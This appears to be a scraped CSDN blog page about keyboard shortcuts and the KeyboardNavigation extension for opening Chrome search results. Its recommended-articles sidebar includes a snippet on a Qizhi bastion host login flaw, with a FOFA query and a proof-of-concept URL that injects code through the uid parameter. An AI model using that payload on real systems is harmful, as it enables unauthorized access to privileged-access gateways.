在chrome搜索结果中速快选择并打开-程序员宅基地

技术标签: 生活  extension  select  chrome  html5  搜索  标签  

最近习惯了用键盘,不喜欢用鼠标了,所以一直在研究各种快捷键。其中有一个麻烦就是在chrome的搜索结果中如果要打开某个链接的话,还是需要用到鼠标,如果不用的话,你可以使用tab键来定位链接。

问题是从第一个链接定位到一个所搜结果的话,起码要按十几次tab键,这给我造成很大的困扰。

后来在http://superuser.com/questions/107524/keyboard-shortcuts-for-google-com中找到了一些方案。

如下:

方法一:

Bibhas almost has the correct answer.

That google experiment allows you to use J, K, and O to select and open a google search result.

The good news is, not only does it work in every browser, but you don't even need to login to google, or install anything.

All you need to do is add: &esrch=BetaShortcuts to the URI of your google search.

You can set chrome to do this by default by:

  1. go into Options, click Manage
  2. under Default Search click on the default 'google' one copy the URL in there
  3. recreate a new one with the same URL (a bit tedious, but they won't let you edit that one...)
  4. add &esrch=BetaShortcuts to the url
  5. set the new one as default

and there you go! your browser now defaults to google with the keyboard shortcuts enabled!

但是这个试过之后好像没什么效果,弃之。


方法二:

KeyboardNavigation is a plugin available for Chrome and Firefox. By pressing alt-g you bring up a small number next to each link on a page. Type the numer and press enter to follow the link. Unfortunately it does ALL the links on the page, so the first search result ends up being number 48 instead of number 1.

这个方法不错,使用KeyboardNavigation插件。

插件介绍如下:


Throw away your mouse and browse the web using your keyboard instead.
The Keyboard Navigation extension allows you to browse the web without using a mouse.

How it works:
1) Press the comma key (,) to start. This will show hints for every link, textbox ...
2) Type a hint. If you typed correctly, the hint will be highlighted.
3) Press Enter or Return to "click" on the highlighted element.

If you made a typo just press the comma or ESC key. Pressing one of these keys again will hide the hints.

Tips:
- The extension is disabled if a textbox is focused. Press ESC to un-focus the textbox.
- Press Ctrl+Return to open a highlighted link in a new tab.
- Scroll down with Spacebar and up with Shift+Spacebar or use the Up/Down arrow keys.
- Open new tabs with Ctrl+T and close tabs with Ctrl+W.
- To go a page back or forward use Alt+Left or Alt+Right. 

Please report any problems you experience in the comments area below, thanks.
这个插件用起来简直碉堡了,按下,键就会显示出hint标签,你只要输入对应的hint标签符,那个链接就会高亮,说明已经选中这个链接,然后按o或者enter就可打开这个链接。

今天的分享就到这,有用分享之,无用弃之。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/u013114862/article/details/18598739

智能推荐

浅谈Json解析与序列化_序列化和json解析的区别-程序员宅基地

文章浏览阅读1.7w次,点赞6次,收藏16次。从头说起:首先的首先,什么是Json:一种数据表示形式,JSON:JavaScript Object Notation对象表示法Json语法规则:数据在键值对中数据由逗号分隔花括号保存对象方括号保存数组像这样:{ "firstName":"John" , "lastName":"Doe" }这样:{"em_序列化和json解析的区别

springboot的配置文件如何配置可以实现多个yml相互读取_springboot如何读取多个yml配置-程序员宅基地

文章浏览阅读2k次,点赞2次,收藏6次。在Spring Boot中,可以通过多种方式来实现配置文件的相互读取和组合。如果你想要在一个Spring Boot应用中使用多个YAML(.yml。_springboot如何读取多个yml配置

C语言中scanf(输入)和printf(输出)的用法详解_scanf输入printf输出-程序员宅基地

文章浏览阅读440次,点赞3次,收藏6次。我们可以看到运行结果123的前面空出了两行,所以这个就是占位符前面加数字的作用!,那么这个时候问题又来了,现在的情况是右对齐,我们如果想左对齐怎么办呢?我们可以看到,这个时候代码就已经左对齐了,其实后面还有2个空位,那么问题又来了,这个前面加数字的作用是什么呢?的意思就是限制输出的数字长度是6个位,小数点后的位数是2个位。默认的情况下printf()不对+进行显示,而对-进行显示,所以如果想要输出负数,就要在d的前面加上负号。的作⽤是将想要输出的内容输出到屏幕上,它名字⾥⾯的 f。_scanf输入printf输出

齐治堡垒机任意用户登录漏洞_/audit/gui_detail_view.php-程序员宅基地

文章浏览阅读8.7k次。声明:仅供漏洞检测和学习,勿用于非法测试漏洞披露时间2021-04-09fofa查询语法app=“齐治科技-堡垒机”POChttp://xxx.xxx.xxx.xxx/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm批量检测脚本可以先用fof_/audit/gui_detail_view.php

杭电acm—1257 最少拦截系统_杭电acm1257-程序员宅基地

文章浏览阅读499次。题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1257最少拦截系统Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Submission(s): 43869 Accepted Submission(s)_杭电acm1257

C++可重入函数和不可重入函数_c++不可重入函数-程序员宅基地

文章浏览阅读1.8k次。C++可重入函数和不可重入函数可重入函数是指能够被多个线程“同时”调用的函数,并且能保证函数结果正确不必担心数据错误的函数。不可重入函数是指不能运行在多任务环境下,除非能保证互斥的函数。由于使用了未受保护的系统资源,如全局变量区,中断向量表等。不可重入函数在实时系统设计中被视为不安全函数。可重入函数特点:没有静态数据结构不返回指向静态数据的指针所有函数数据由函数的调用者提供使用auto变量,或通过全局变量的拷贝来保护全局变量若必须访问全局变量,则利用互斥信号保护不调用不可重入函_c++不可重入函数

随便推点

CodeSign error: code signing is required for product type Application in SDK iOS-程序员宅基地

文章浏览阅读53次。原地址:CodeSign error: code signing is required for product type Application in SDK iOS 在真机测试的时候往往会突然出现这样一个错误,code signing is required for product type 'Application' in SDK 'iOS 7.0' ,就是说代码签名证书不对劲。..._hellocordova doesn't have a bundle identifier. add a value for product_bundl

【PTA】线性表的两个非递减集合求并集_数据结构线性表的两个非递减集合求并集pta-程序员宅基地

文章浏览阅读4.1k次,点赞6次,收藏7次。线性表的两个非递减集合求并集(山东大学威海校区大二数据结构实验)_数据结构线性表的两个非递减集合求并集pta

InputStream只能读取一次的解决办法_inpustrem只能读一次-程序员宅基地

文章浏览阅读1w次。有时候我们需要对同一个InputStream对象使用多次。比如,客户端从服务器获取数据 ,利用HttpURLConnection的getInputStream()方法获得Stream对象,这时既要把数据显示到前台(第一次读取),又想把数据写进文件缓存到本地(第二次读取)。但第一次读取InputStream对象后,第二次再读取时可能已经到Stream的结尾了(EOFException)或者Stream_inpustrem只能读一次

webpack配置-程序员宅基地

文章浏览阅读1.1w次,点赞35次,收藏143次。webpack是前端的打包工具打包的工作内容是什么扫描项目,生成整个项目所有模块的依赖关系,根据配置对模块进行合并,生成一个单独的文件。修改html文件,让html文件引用生成后的文件将浏览器无法直接识别的(less、sass、ts)文件,转换成浏览器可以实现的内容。将浏览器暂时无法支持的JS新的语法转换成浏览器可以支持的语法。_webpack配置

Nexus 6p bootloop经历_n2g47z_4cores.img-程序员宅基地

文章浏览阅读2.2k次。昨天,用了1年半的6p不知为什么就bootloop了。正常使用中,突然就重启,然后就在重启提示和google标之间来回换,完全停不下来。能进入刷机模式,回复出场什么的都用不了,都会回到bootloop。用power off可以关机,可是一旦接上电源,就又开始bootloop。白色google一出来几秒钟不动,就感觉不对头,让人崩溃。。。。一想买新机又要花钱,决定再抢救一下了。先google..._n2g47z_4cores.img

使用JAXB进行JavaBean对象与XML文件的相互转化_jaxb 设置xml头encoding-程序员宅基地

文章浏览阅读1.7k次。思想:父标签相当于一个对象,子标签相当于对象的属性,然后循环嵌套。JAXBContext类,是应用的入口,用于管理XML/Java绑定信息。Marshaller接口,将Java对象序列化为XML数据。Unmarshaller接口,将XML数据反序列化为Java对象。如果是第一次使用的话,建议先下载代码跑一下看看效果:https://download.csdn.net/downl..._jaxb 设置xml头encoding

推荐文章

热门文章

相关标签